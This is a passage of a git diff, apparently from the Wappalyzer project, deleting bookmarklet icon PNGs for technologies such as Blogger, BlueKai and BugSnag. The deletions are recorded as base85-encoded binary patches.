zE^zQ{ZUD(OqsmyKZ@}vER6NWw7wlaE2G3)U`KCj}aB`UgNP$3FB;VhlkM}K3-&0xP z4)&A^5nUIW21uwg4VwqRo@ZX;{~;~3+jor;JsU~!oJ2h2c^BmQ7V$dVn>O0iZ>*qZ z3SfkhltCg)EJ`^8#8p9HZ2ooU+2y+~3mZ?t%dyv*u_6hCbI*pfOKjlaX+GL#0sxCp zRQwQbi53;jxb`5r_-SOTT!FYXA0e)BKZ%k}sYl#P9}@^83W+-qk@qa2Zk`Qmn}n95 z<^X87x-_jWPNmBh{lG5Wfrv-VhY?q|heU>UmXc>23tmV3y6)rb&OeLOqSUq%C{qAZ zWi7r{P@kAAZ1{W|+dT9K5g5*Mq|X4rk&(Q{g49sXIp0x5C58DTs2OVLT;NKdBf>R?b+ax~llL6CFa^i97%#4`PbTkhOf- z2wS)JHvvLTl$E!;o8Y{g2V6MM~OB!DB_ z`oW1KV4vSU%m;c9k4q}7r;R7eDxzQFgYkw5njl5VzL%jYSy> zws6b2`#wE6pcSx9{lnwJ4G==}5aPmpH-+{uH(A<{HJ2GgO`G`+BYST{3dVzgRw!5b z`H2BSvEh`^#vM}R(L z^Q=Nf81I>kvN~j)?wy;e^+4|nFaf_2T8|KLBZV62ifrv$B>yP@Svi{{Kw{LYHvD4r z{S0M~%>>$6_K&r6@ds?<{)4#ANp)ma40sQ%`Cse&)+=<R_?V;|Od`KU_*W)@P23WffWMi1Pv%>;2;p4x4)E@d^+Q<%ASn>2Y}=r3ojHu&V~>8AJ&R#(YFM*+pNi$AAm-bj>8Qe ze=mgex_l2Nj9Y03Azn2=e7OQ>H;KToVVHn$p4)0!u+w4sP*_|wm6nxGI8WRq`Y-^_ zObC!HKZrt?V{Nbas1B!Aac(&ys{K~jz5&3+2~M#4iuhn`&=KsZd0fYHTJqP?qSA%` bO@8+uS)uM~G8fqq00000NkvXXu0mjf>6pzR diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Banshee.png b/Wappalyzer/drivers/bookmarklet/images/icons/Banshee.png deleted file mode 100644 index e55ef54541ae9ddc01ed033150d92ec0d5ea1212..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 254 zcmeAS@N?(olHy`uVBq!ia0vp^0wBx*Bp9q_EZ7UAm`Z~Df*BafCZDwc^0s@rIEF|_ zvNlW`98F7RDsW6nYf|60E{lp{l~ZYgixfvs~(Z;ytU}3*<3RS3j3^P6v*b zR$TO#Ooy#$Wmws)*}cy#lFJUdJi^ME;>rwSv4&*MNtw1qKAONsNk7|5-aYU&k50cu7yxc` zsiAr304N=4X#Q>H+ys^>NJGdBK`c?aPf(2%eL4VJ_I29KGm6I~SJOynK_ejzAsuNX zB-N~neBoK=>_7x@Ts%@X`2jkxW#4sVTB&G&g18I@sAwoytvH;I-CH*LvVu~+u~1@^ zhyzeP_|_K1HRdB`6HPJN(tPBeYOr_$&BFLzvlelwAvRUqVqsJVcRiVA17fuG6)Rm{ z1w+I7bUrQH3fG$5>JCed=Pczzae@><3V})*2`NA0ojm`_Zt(;fiqWp>5OZsq+p}}q zpPDzstpW;)D59XCh|PFS4D_oVPUA|W6@OoGXI|L4L$lEZ1qB5KPy`g?J6mzo?54A4 zYr_N@0tkX2fcWo@ReWuvROgqx@3fZ@mtVobNY(VjUiK=)AI>2$PAlu0VDmpWZr_C++Q9(dKK|ujj5Ea39ibNjOPajCELsQScn80gn<6rbZgRK<&WRQ*n29gbp=xh=&y{ED?WrAKExzvB+9$7bAy lRag!ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bigcommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bigcommerce.png deleted file mode 100644 index e02823ea87d6f23d8bf711c248638d494a31c905..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 574 zcmV-E0>S->P)Fk69KiAK@8192d-vMAwyI6h0T=|4ARUBNI*?cl9gH?HkT5mrW|PL&T_Qm&npicR zq#-00&=le-rHO0r-o5|-{r`W%yWuFdCX*Snx(0%VPuUdg#+OWP3@y!r>aF$y$>-4EmW(F?fcQ*)+ zB}C^&ZSBfl)c)aJ%qslbc}f)h78U|rGKumPP+)38Whf$;7;ow$8TL8ceR7Ix7gi{U zqF=M=IW$$JY84j22@p6W5opwq4WW_-fY77pH#g_Fe<@|XIl<57C|N34BZOi|q7I`6 zR$1Z&;3O@%sLyaVw0d4~*$_7Rh zJ_BzIuA8DWgE2y?+r&wSG;a`vLXV=XKGMPGA%V8|T;sYOOrE2=0d3PJ%ePR$GChj2 zq39hFPobE=8ECWiRO;6ku0y@&VI|1A{83Y^g>Fc1RyU!6Ab12a9#buWp36! zoSRQq$~mo(!iG&Pk4=^~Zz)6-03ey!S*at}8Q{=G_W#6Sl3L@U8Imo{(p%8r`R9fl zIlPQOgQU&?1j+<#Xd6ECvXPVTyX(|D_Px8+Ew>GM@93iA$GhZ76F>$aAplv(Cbk*a zvBT9zrhN3mx0ddk0H1%=sJbD`iJ%}Pq(DQ1tUq3xZBpHy$;{4}IsLKj7vIoYX8l?s zG9nW}QPzX{&7vq00|~^%|MK~%T_l>>S^9m&s*Y;%DYrg7ryM$^j#6Gk6#dR}ZuYF2 z>o=VX3(YSS(OIFqXCr797d6xWs4rjQ>oeZkbHv6!9*%W03u!?siWB?K#+D!db^r8| zlfQSfXVDpGS$OSr<;s=v`5T&R*L05^)BE%jS6({cvsb@Nk1n;%XHll0stS2Az%lGy zNFEZVp4sKiHxBCc`-(Md^v|3z_r&AMpH!4SAM0Td`-6E5TwzI~7v9qrGC4@ipshy8A)fw?Ap^+70SDq?Du>RUrpB z-!L7Syx*9oXsgQJBY;Qtv$Z zyy7udMUSF&8Ex{%3>c&$POyDgaI)UHOxBR?hVsq>3};#AZI}46mkhp8J(^ RUkT_~22WQ%mvv4FO#lt)QmX&} diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Blogger.png b/Wappalyzer/drivers/bookmarklet/images/icons/Blogger.png deleted file mode 100644 index 17bd56bd64cc8017fa9ddebf281df300a3174752..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 261 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyS^+*Gu0Z-95PW<0@7=wBkIwzO zweR1tdH?qH{oB;^Z&lI1c~SqWl>QY7{YzttJapIrsG6}P$S;_|;n|HeAg9yQ#WAGf z*3roq`5F{B7!-X^zWHBoetFu8CDGBP{(gBU7#I^?GhFDGKW6qIxUuKh0TcZ=5uG>< zAr>+I$ZKv2ItIN7UW~Q6M}A#ko#e1pApd5dSVUW=hY;5lj|1T>d#x8|^+{zGeSs&f@pH8<-CYsYWL3%M1rPiow&>&t;uc GLK6U=n{VO( diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BlueKai.png b/Wappalyzer/drivers/bookmarklet/images/icons/BlueKai.png deleted file mode 100644 index b2861d007cfe1694b4ce642547fc1807bae869d7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1385 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 JPDHLkV1f`chtvQ7 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Boa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Boa.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bolt.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bolt.png deleted file mode 100644 index fd953e051c89402e1156d3aecc688ff03bcd2a33..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1544 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Brother.png b/Wappalyzer/drivers/bookmarklet/images/icons/Brother.png deleted file mode 100755 index 737a0328886bc1c80aa72339ada21b3a531bacfe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 210 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Zh%jS>;M1%KYsrC=-H>sH(wt< z`()a(3+*#cR`edqY}gZ3ywxjhopt1L9p8nr4zu`-Co@{#YzAsf@N{tuskl{o-chJQ zfrB-`!C3pjzvI3EKH`5{&+JJQUAxXiN;wlABp%JkmmMLTq9 zlvaNajvCP8dUz|IMi}ZSXxX{EeRBI)(TW4Qb$p>qgA;glsB_0n_zX-qh8Pb+#5p)4F*Q5 z@5Dhvtz0^9MRRHUZt{eThE0X;#us3b7EKrtbzX&B9)=D^T1NFyojl=90&;rAwuB43 z9Sd5w^_Kg5VmpCJYuZXU|0*6PNXI`th#~w69Tk+aNW<>&kwQjah($&nu|& z98hScr;B5V#`&`otoaTZ2)Jx_Zc1AJO1h;wV2RtJf^MaScMe!G>5ATFeR4y%-fUtG zlf=oRHobc`dw&U*^~s*^C-uNB!pEhI*}#HrQJwz-naCSSpM{Sd_%yHlf#QpIKit0Z zwCnJjajmj@V6`XsLE{A#xtF3FuIO)C>096|qh&GGRbjgJ#ek~khBBPqr_SD5RIfVO gjQI;w+rJ>~;H5ckr`r?5fR1GFboFyt=akR{02U8=p#T5? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BugSnag.png b/Wappalyzer/drivers/bookmarklet/images/icons/BugSnag.png deleted file mode 100644 index 5f2228296d1bf781f6a61e0a547427910f7a5739..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5226 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 